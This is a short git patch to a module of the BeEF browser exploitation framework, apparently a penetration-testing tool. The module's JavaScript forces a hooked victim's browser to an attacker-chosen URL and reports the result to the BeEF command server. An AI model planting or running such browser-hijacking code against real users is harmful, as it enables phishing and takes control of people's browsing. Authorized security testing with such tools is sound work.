From 1afc488a8da12ec6ed9e69a36e17b8f866180903 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Sat, 10 Sep 2011 07:30:23 +0000 Subject: [PATCH] Fixed Site Redirect module Fixes issue 490 git-svn-id: https://beef.googlecode.com/svn/trunk@1268 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/browser/site_redirect/command.js | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/browser/site_redirect/command.js b/modules/browser/site_redirect/command.js index bc4f8d28c..01b4b6830 100644 --- a/modules/browser/site_redirect/command.js +++ b/modules/browser/site_redirect/command.js @@ -14,8 +14,9 @@ // limitations under the License. // beef.execute(function() { - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>', function(){window.location = "<%= @redirect_url %>"}); + + window.location = "<%= @redirect_url %>"; + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>'); });